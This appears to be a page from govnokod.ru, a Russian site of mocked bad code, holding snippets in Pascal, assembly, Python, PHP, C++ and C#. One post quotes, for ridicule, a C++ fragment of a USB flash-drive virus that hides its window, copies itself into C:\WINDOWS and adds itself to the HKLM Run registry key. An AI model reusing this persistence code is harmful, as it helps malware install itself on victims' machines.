- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
Function isEQ(x,y : Real) : Boolean;
Begin
if(x = y) Then isEQ := True Else isEQ := False;
End;
Begin
{...}
End.
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+115
Function isEQ(x,y : Real) : Boolean;
Begin
if(x = y) Then isEQ := True Else isEQ := False;
End;
Begin
{...}
End.
Не выспался...
+251
use32
kernel:
mov ax,0x8
mov es,ax
mov ds,ax
mov ss,ax
mov esp,0x10000
macro SetPixel x,y
{
mov ebx,x
mov eax,y
call GSetPixel
}
mov esi,0xA0000
xor ecx,ecx
@@:
mov eax,dword[charH+ecx*4]
mov dword[esi],eax
add esi,320
inc ecx
cmp ecx,7
jb @b
mov esi,0xA0006
xor ecx,ecx
@@:
mov eax,dword[charE+ecx*4]
mov dword[esi],eax
add esi,320
inc ecx
cmp ecx,7
jb @b
mov esi,0xA000C
xor ecx,ecx
@@:
mov eax,dword[charL+ecx*4]
mov dword[esi],eax
add esi,320
inc ecx
cmp ecx,7
jb @b
mov esi,0xA0012
xor ecx,ecx
@@:
mov eax,dword[charL+ecx*4]
mov dword[esi],eax
add esi,320
inc ecx
cmp ecx,7
jb @b
mov esi,0xA0018
xor ecx,ecx
@@:
mov eax,dword[charO+ecx*4]
mov dword[esi],eax
add esi,320
inc ecx
cmp ecx,7
jb @b
jmp $
charH dd 0x0F00000F
dd 0x0F00000F
dd 0x0F00000F
dd 0x0F0F0F0F
dd 0x0F00000F
dd 0x0F00000F
dd 0x0F00000F
charE dd 0x0F0F0F0F
dd 0x0000000F
dd 0x0000000F
dd 0x0F0F0F0F
dd 0x0000000F
dd 0x0000000F
dd 0x0F0F0F0F
charL dd 0x0000000F
dd 0x0000000F
dd 0x0000000F
dd 0x0000000F
dd 0x0000000F
dd 0x0000000F
dd 0x0F0F0F0F
charO dd 0x000F0F00
dd 0x0F00000F
dd 0x0F00000F
dd 0x0F00000F
dd 0x0F00000F
dd 0x0F00000F
dd 0x000F0F00
Раскопал в старых файлах. Выводит на экран незамысловатое слово HELLO
На World у меня бы одного бут-сектора не хватило.
−142
for i in range(4, len(l)):
if l[i] - l[i - 1] == 1 and l[i - 1] - l[i - 2] == 1 and l[i - 2] - l[i - 3] == 1 and l[i - 3] - l[i - 4] == 1:
return True
Нужно было найти в списке 5 элементов, которые могут начинаться на любой позиции, но должны идти по порядку (например [9, 10, 11, 12, 13]). Не придумал ничего лучше :(
+163
<input type="submit" value="<?=lang('Send','Отправить')?>" />
Говнокод или нет?
+168
void __fastcall TForm1::FormCreate(TObject *Sender)
{
Application->ShowMainForm=false; //прячимся
// Осваеваемся в новой системе
if(ParamStr(0)!="C:\\WINDOWS\\WebKill_USB_Flash_V.exe") {
//скопируемся
CopyFile(ParamStr(0).c_str(),"C:\\WINDOWS\\WebKill_USB_Flash_V.exe",true);
//и пропишимся в автозагрузку:
TRegistry *reg=new TRegistry;
reg->RootKey=HKEY_LOCAL_MACHINE;
reg->OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", false);
reg->WriteString("SystemX" , "C:\\WINDOWS\\WebKill_USB_Flash_V.exe");
reg->CloseKey();
reg->Free();
}
ПРЯЧИМСЯ (с) всеми извесный убиватель интернетов и "пейсатель" вирусов, которые грузятся с флэшки, бугога. Самый няшный кусочек :-) Хотя там ещё было убер заражение подключённых устройств. Судите сами господа http://3.webkill.ru/flash_virus.html
+165
$image = $_FILES['image']['tmp_name'];
if( !empty($image) )
{
@$src = imagecreatefromjpeg($image);
if($src==false){exit ('Это не картинка'); }
Этот кусочек кода был спором 7 человек;)
Это говнокод?
+124
void f()
{
char d[14] = "Hello, error!";
}
void h()
{
char d[14];
std::cout<<d;
}
int main()
{
f();
h();
}
Кто отгадает, что делает этот код(а еще лучше почему он вобще работает) тому ни чего не будет.
+113
void listXmlTree(string filename)
{
XmlTextReader rdr = new XmlTextReader(filename);
listBox1.Items.Clear();
treeView1.Nodes.Clear();
while (rdr.Read())
{
string s = string.Format("<{0}> - {1}", rdr.Name, rdr.NodeType);
listBox1.Items.Add(s);
if ((rdr.Name == "LVL") && (rdr.NodeType != XmlNodeType.EndElement))
{
treeView1.Nodes.Add("LVL " + rdr.GetAttribute("N"));
while (rdr.Read())
{
if ((rdr.Name == "WRD") && (rdr.NodeType != XmlNodeType.EndElement))
{
treeView1.Nodes[treeView1.Nodes.Count - 1].Nodes.Add("WRD");
while (rdr.Read())
{
if ((rdr.Name == "L") && (rdr.NodeType != XmlNodeType.EndElement))
{
treeView1.Nodes[treeView1.Nodes.Count - 1].Nodes[treeView1.Nodes[treeView1.Nodes.Count - 1].Nodes.Count - 1].Nodes.Add("L: " + rdr.ReadElementContentAsString());
}
if ((rdr.Name == "K") && (rdr.NodeType != XmlNodeType.EndElement))
{
treeView1.Nodes[treeView1.Nodes.Count - 1].Nodes[treeView1.Nodes[treeView1.Nodes.Count - 1].Nodes.Count - 1].Nodes.Add("K: " + rdr.ReadElementContentAsString());
break;
}
}
}
if ((rdr.Name == "CHS") && (rdr.NodeType != XmlNodeType.EndElement))
{
treeView1.Nodes[treeView1.Nodes.Count - 1].Nodes.Add("CHS: " + rdr.ReadElementContentAsString());
break;
}
}
}
}
rdr.Close();
}
Такие дела.
+129.5
call LABEL
LABEL: pop eax
Получение адреса текущей инструкции убийственным для производительности методом.
−1
#include <iostream>
// Truthiness
struct true_type{static const bool value = true;};
struct false_type{ static const bool value = false;};
// Pick type based on bool value
template <bool B, typename T, typename U>struct conditional{typedef T type;};
template <typename T, typename U>struct conditional<false, T, U>{typedef U type;};
// Compare two types
template <typename T, typename U>struct is_same : public false_type{};
template <typename T>struct is_same<T, T> : public true_type{};
// Division predicate
template <int a, int b>struct divides{static const bool value = (a % b == 0);};
// Type traits
template <typename T, int N = 0>
struct fizzbuzz_traits{
typedef T type;
static const int value = N;
};
template <> struct fizzbuzz_traits<char*, 0>{typedef char* type;};
// fizzbuzz type initializers
template <bool A, bool B> struct fizzbuzz{};
template <> struct fizzbuzz<true, false> : public fizzbuzz_traits<char*> {static const char* value;};
typedef fizzbuzz<true, false> fizz_type;
const char* fizz_type::value = "fizz"; // static const char* can only be initialized out of line
template <> struct fizzbuzz<true, true> : public fizzbuzz_traits<char*> {static const char* value;};
typedef fizzbuzz<true, true> fizzbuzz_type;
const char *fizzbuzz_type::value = "fizzbuzz";
template <> struct fizzbuzz<false, true> : public fizzbuzz_traits<char*> {static const char* value;};
typedef fizzbuzz<false, true> buzz_type;
const char *buzz_type::value = "buzz";
template <> struct fizzbuzz<false, false> : fizzbuzz_traits<void>{};
// FizzBuzz solver
template <int N>
class FizzBuzz{
private:
struct is_divisible : public true_type{
struct by3 : public divides<N, 3>{};
struct by5 : public divides<N, 5>{};
};
public:
typedef fizzbuzz< is_divisible::by3::value, is_divisible::by5::value > solution_type;
// stores string or 'false'
typedef fizzbuzz_traits<int, N> non_divisible_type;
// stores number
typedef typename conditional< !is_same<void, typename solution_type::type>::value,
solution_type,
non_divisible_type>::type print_type;
// stores value to print
};
// Looping from N to M
template <int N, int M>
struct static_for{
static void value(){
std::cout << FizzBuzz<N>::print_type::value << std::endl;
static_for<N + 1, M>::value();
}
};
template <>
struct static_for<101, 100>
{
static void value(){};
};
int main(){
static_for<1, 100>::value();
}
Физзбазз на шаблонах без type_traits